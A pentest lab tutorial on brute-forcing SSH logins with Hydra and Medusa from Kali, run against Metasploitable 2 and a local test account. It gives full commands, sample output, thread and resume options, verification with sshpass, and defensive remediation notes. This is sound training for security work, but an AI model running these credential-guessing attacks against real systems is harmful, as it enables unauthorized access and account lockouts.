| Tested on | Kali GNU/Linux Rolling 2026.2 (kali-rolling) |
|---|---|
| Package | hydra 9.7-1medusa 2.3-3nmap 7.99+dfsg-1kali1 |
| Lab environment | Pentest lab |
| Cert prep | CompTIA PenTest+ PT0-003 — password attacks and online authentication testing |
| Privilege | Normal user for Hydra, Medusa, and Nmap; sudo for package installs and local test user |
| Scope | SSH brute-force testing with Hydra and Medusa on Kali: service checks, username and password lists, threads, resume, verification, troubleshooting, and short prevention notes. Does not cover offline hash cracking, SSH key theft, unauthenticated CVE exploits, or full FTP/web/database login walks. |
An SSH brute force attack sends repeated username and password guesses to a live SSH service until a pair is accepted or the list ends. On Kali, Hydra and Medusa are the usual tools for that online test.
I ran these commands against Metasploitable 2 at 192.168.56.127, and against a local OpenSSH account when Hydra could not finish the legacy KEX handshake with Metasploitable’s OpenSSH 4.7p1.
What is an SSH brute force attack?
SSH brute force is an online password attack: the tester (or attacker) tries many username and password combinations against TCP/22 (or another SSH port) while the daemon answers each attempt. Success means a working credential on that host, not a break of SSH encryption.
That differs from offline cracking with John or hashcat. Offline work hashes candidates against stolen material and never hits the login port. Online SSH testing always talks to the live authentication service, so lockouts, rate limits, and protocol mismatches matter.
Common Kali tools for this job are Hydra and Medusa. Both take user and password lists, speak SSH, and report candidate pairs you still must verify by hand.
| Approach | Tools | What you attack |
|---|---|---|
| Offline | John, hashcat | Stolen hashes or protected files |
| Online | Hydra, Medusa | Live SSH (and other auth services) |
Check SSH before brute-force testing
Before you burn wordlists, confirm SSH is listening, note the version, and make sure password authentication is even on the table.
Set the Metasploitable target once:
TARGET=192.168.56.127Install or refresh the packages you need with apt:
sudo apt updateInstall Hydra, Medusa, and Nmap:
sudo apt install -y hydra medusa nmapConfirm SSH is open and note the version string:
nmap -Pn -p 22 -sV "$TARGET"PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)Port 22 is open on a very old OpenSSH build. That version detail matters later when Hydra’s modern MAC list cannot negotiate with the server.
Create a tiny controlled wordlist pair. Full rockyou.txt is the wrong first move for a methodology check:
mkdir -p /tmp/ssh-brute-lab && cd /tmp/ssh-brute-labWrite three usernames:
printf 'msfadmin\nroot\nadmin\n' > users.txtWrite three passwords, including the known Metasploitable pair:
printf 'msfadmin\npassword\nroot\n' > pass.txtNine combinations are enough to prove the workflow. Build larger lists with a wordlist generator only after the service path works.
Also ask whether lockout or rate limiting exists on the engagement. Metasploitable is intentionally weak. Production SSH often bans noisy scanners after a handful of failures.
Brute force SSH with Hydra
Hydra is the main hands-on path on this page. The URL form for SSH looks like this:
hydra -L users.txt -P pass.txt ssh://HOST -t TASKS -f| Flag | Meaning |
|---|---|
-l / -L |
Single login / file of logins |
-p / -P |
Single password / file of passwords |
-t |
Parallel tasks per target (default 16) |
-f |
Stop this target after the first valid pair |
-V |
Show each attempt |
-R |
Restore an aborted session |
-W |
Wait seconds between connects per thread |
Hydra supports FTP, HTTP, SMB, RDP, databases, and many other authentication protocols; use dedicated guides for those workflows. This page stays on SSH.
Single username and password list
Create a local OpenSSH account so Hydra can show a clean success on modern crypto (lab only):
sudo useradd -m -s /bin/bash labsshSet a known password for that account:
echo 'labssh:LabPass123' | sudo chpasswdPut the real password second so Hydra has to try at least one failure first:
printf 'wrong\nLabPass123\npassword\n' > local_pass.txtAttack one username with that password file:
hydra -l labssh -P local_pass.txt ssh://127.0.0.1 -t 4 -f -V[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "wrong" - 1 of 3 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "LabPass123" - 2 of 3 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "password" - 3 of 3 [child 2] (0/0)
[22][ssh] host: 127.0.0.1 misc: (null) login: labssh password: LabPass123
[STATUS] attack finished for 127.0.0.1 (valid pair found)
1 of 1 target successfully completed, 1 valid password foundHydra reports the service, host, login, and password on the [22][ssh] line. Treat that as a candidate until you confirm it by hand.
Username and password lists
When you have several usernames, switch -l to -L:
printf 'labssh\nroot\nadmin\n' > local_users.txtRun both lists against localhost with four tasks and stop on the first hit:
hydra -L local_users.txt -P local_pass.txt ssh://127.0.0.1 -t 4 -f -V[DATA] max 4 tasks per 1 server, overall 4 tasks, 9 login tries (l:3/p:3), ~3 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "wrong" - 1 of 9 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "LabPass123" - 2 of 9 [child 1] (0/0)
[22][ssh] host: 127.0.0.1 misc: (null) login: labssh password: LabPass123
[STATUS] attack finished for 127.0.0.1 (valid pair found)
1 of 1 target successfully completed, 1 valid password foundControl threads and connection rate
Higher -t is not automatically better.
Too many parallel logins can:
- Trigger account lockouts or fail2ban-style bans
- Overwhelm a small service and inflate connection errors
- Distort timing so you cannot tell refusal from lockout
- Get your tester IP blocked mid-engagement
Start low on SSH (often 2–4 tasks), watch for errors, then raise only if RoE and monitoring allow it. Prefer -W waits and smaller lists over maxing the default of 16 tasks on a fragile target.
On this lab, -t 4 against local OpenSSH recovered labssh / LabPass123 without flooding. Against production-like hosts, ask about lockout thresholds before you scale.
Resume an interrupted Hydra attack
Long jobs should survive Ctrl+C. Hydra writes ./hydra.restore in the current directory when you interrupt cleanly.
Build a slightly longer password list so the job has room to pause mid-run:
printf 'labssh\nroot\nadmin\n' > slow_users.txtPut two wrong passwords ahead of the real one:
printf 'wrong\nnopes\nLabPass123\n' > slow_pass.txtStart a slow run (one task, one-second wait), then interrupt with Ctrl+C after the first attempt:
hydra -L slow_users.txt -P slow_pass.txt ssh://127.0.0.1 -t 1 -W 1 -V[DATA] attacking ssh://127.0.0.1:22/
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "wrong" - 1 of 9 [child 0] (0/0)
The session file ./hydra.restore was written. Type "hydra -R" to resume session.Resume from that directory without retyping the full command line:
hydra -R -f[INFORMATION] reading restore file ./hydra.restore
[DATA] attacking ssh://127.0.0.1:22/
[RE-ATTEMPT] target 127.0.0.1 - login "labssh" - pass "wrong" - 1 of 9 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "nopes" - 2 of 9 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "LabPass123" - 3 of 9 [child 0] (0/0)
[22][ssh] host: 127.0.0.1 misc: (null) login: labssh password: LabPass123
1 of 1 target successfully completed, 1 valid password foundHydra continues from the saved point until it finds a valid pair or finishes the remaining space. Use -I only when you intentionally want to ignore an old restore file and start fresh.
Legacy SSH note: Hydra 9.7 vs Metasploitable 2
On Metasploitable’s OpenSSH 4.7p1, Hydra 9.7 fails the key exchange before any password is tried:
hydra -L users.txt -P pass.txt ssh://"$TARGET" -t 4 -f[DATA] attacking ssh://192.168.56.127:22/
[ERROR] could not connect to ssh://192.168.56.127:22 - kex error : no match for method mac algo client->server: server [hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96], client [hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512]That is a protocol mismatch, not a wrong password. Medusa still works against this host in the next section. Keep the local OpenSSH example above as your primary Hydra success path on current Kali.
Verify the SSH credentials
Useful Hydra lines to watch:
| Line | Meaning |
|---|---|
[DATA] … login tries |
How large the attempt space is |
[ATTEMPT] … |
One try (with -V) |
[22][ssh] … login: … password: |
Claimed valid pair |
[ERROR] could not connect |
Network, refusal, or protocol failure |
valid password found |
At least one pair accepted by the module |
Confirm the pair outside Hydra. For the local account:
sshpass -p LabPass123 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null labssh@127.0.0.1 'whoami; id'labssh
uid=1002(labssh) gid=1002(labssh) groups=1002(labssh)The shell reports labssh. Tool output matched reality.
Modern OpenSSH clients may need algorithm overrides to reach legacy hosts like Metasploitable. If your own server rejects RSA client keys after a base-OS upgrade, fix that on the server — see sshd: ssh-rsa algorithm is disabled.
Metasploitable’s known weak account still works with a legacy OpenSSH client even when Hydra cannot negotiate:
sshpass -p msfadmin ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o MACs=+hmac-sha1 -o KexAlgorithms=+diffie-hellman-group1-sha1 \
msfadmin@"$TARGET" 'id; hostname'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
metasploitableAlways validate. Module bugs and misread banners produce “success” lines that are not shells you can use.
Brute force SSH with Medusa
Medusa is the secondary SSH path here: same controlled lists, different module syntax. Dump the modules shipped on Kali:
medusa -dAvailable modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" :
+ ftp.mod
+ http.mod
+ ssh.mod
+ vnc.mod
+ web-form.mod
...Against Metasploitable, Medusa’s SSH module succeeds where Hydra’s KEX failed:
medusa -h "$TARGET" -U users.txt -P pass.txt -M ssh -t 4 -fACCOUNT CHECK: [ssh] Host: 192.168.56.127 (1 of 1, 0 complete) User: msfadmin (1 of 3, 1 complete) Password: msfadmin (1 of 3 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.56.127 User: msfadmin Password: msfadmin [SUCCESS]ACCOUNT FOUND with [SUCCESS] is Medusa’s valid-pair line. Confirm with the legacy SSH client shown earlier.
The same lists against local OpenSSH:
medusa -h 127.0.0.1 -U local_users.txt -P local_pass.txt -M ssh -t 4 -fACCOUNT FOUND: [ssh] Host: 127.0.0.1 User: labssh Password: LabPass123 [SUCCESS]Medusa flags for SSH:
| Flag | Role |
|---|---|
-h / -H |
Host / host file |
-u / -U |
User / user file |
-p / -P |
Password / password file |
-M |
Module name without .mod (ssh) |
-t |
Concurrent logins |
-f |
Stop host after first success |
-Z |
Resume map after SIGINT (host/user level) |
Hydra vs Medusa for SSH brute force
| Topic | Hydra | Medusa |
|---|---|---|
| SSH syntax | ssh://host |
-M ssh with -h |
| Username / password lists | -l/-L, -p/-P |
-u/-U, -p/-P |
| Parallel attempts | -t |
-t |
| Resume | -R / hydra.restore |
-Z resume map |
| Legacy Metasploitable SSH (this lab) | KEX / MAC failure on Hydra 9.7 | Worked with msfadmin/msfadmin |
| Best reason to choose | More docs and examples; primary workflow here | Useful alternate when Hydra cannot negotiate |
Neither tool is a universal speed winner. Protocol code, thread count, and target defenses dominate runtime. In this lab Medusa reached Metasploitable SSH; Hydra needed a modern OpenSSH listener for a clean SSH success.
SSH brute force troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
Connection refused |
Wrong port or service down | Confirm with nmap -p; example: ssh://127.0.0.1:2222 refused here while :22 worked |
Hydra kex error / no matching MAC |
Client/server crypto mismatch (common on OpenSSH 4.7) | Try Medusa, a legacy SSH client for manual login, or a modern lab SSHD |
too many connection errors / children disabled |
Rate limit, MaxStartups, or prior flood | Lower -t, add -W, pause, shrink the list |
| Password auth seems ignored | PasswordAuthentication no or keys only |
Read sshd_config; switch to key testing or another vector |
| Account lockouts mid-run | IDS, fail2ban, or directory lockout | Stop; coordinate with the client; reduce rate |
| Unknown module / service name | Typo or unsupported protocol | hydra service list / medusa -d |
| “Success” but no real shell | Module false positive or misread output | Confirm with ssh / sshpass |
| Hydra finds a password that fails interactively | Stale restore, wrong host, or misread output | Clear restore (-I), re-verify host, confirm with ssh |
Connection refused sample from this lab:
hydra -l admin -p admin ssh://127.0.0.1:2222 -t 1[DATA] attacking ssh://127.0.0.1:2222/
[ERROR] could not connect to ssh://127.0.0.1:2222 - Connection refusedHow to prevent SSH brute force attacks
A valid pair means a weak or reused credential still works on that service. It does not mean “Hydra hacked SSH encryption.”
For defenders and report remediation notes:
- Prefer SSH keys and disable password authentication where that fits the environment
- Use MFA when the platform supports it
- Rate-limit or lock out after repeated failures; alert on auth noise
- Monitor failed authentications and unexpected source IPs
- Enforce strong unique credentials (no shared
msfadmin-style passwords)
This is not a full hardening guide. Point clients at their baseline SSH policy and monitoring stack after you show the weak login works.
Remove the local practice account when you finish:
sudo userdel -r labsshSummary
SSH brute force is online authentication testing against a live daemon. Confirm the port and version, use a small list, keep concurrency intentional, and verify every “success” outside the tool.
Hydra is the primary workflow here: single-user and dual-list attacks, thread control, and hydra -R resume against modern OpenSSH. Medusa is the useful alternate that still recovered msfadmin / msfadmin on Metasploitable when Hydra hit a legacy MAC mismatch.
Treat lockouts and rate limits as engagement risks, not speed bumps. When a pair is real, report the service, username, verification evidence, and remediation (keys, MFA, rate limiting, unique passwords). Offline hash work stays with John or hashcat, not Hydra.
References
Frequently Asked Questions
What is the difference between Hydra and John the Ripper?
Hydra sends login attempts to a live network service such as SSH. John recovers passwords from hashes or protected files offline. Use Hydra when you only have a listening auth service; use John when you already have hash material.
Why does Hydra fail against Metasploitable SSH with a kex or MAC error?
Modern Hydra clients often refuse the old MAC and key-exchange algorithms that OpenSSH 4.7 still offers. The service can still be password-guessable with Medusa or a legacy OpenSSH client. It is a negotiation problem, not proof that every password is wrong.
How many Hydra threads should I use for SSH?
Start low, often two to four tasks, unless the rules of engagement and lockout policy say otherwise. Raising -t without checking defenses can lock accounts and produce connection errors that hide real results.
How do I resume Hydra after Ctrl+C?
Run the job from a dedicated directory, interrupt cleanly, then run hydra -R in that same directory so it reads hydra.restore. Use -I only when you want to ignore a leftover restore file.
Should I use Hydra or Medusa for SSH?
Start with Hydra for most Kali labs and documentation coverage. Use Medusa when Hydra cannot negotiate with a legacy SSH stack, as on Metasploitable OpenSSH 4.7 in this article, or when you want a second independent check of the same lists.

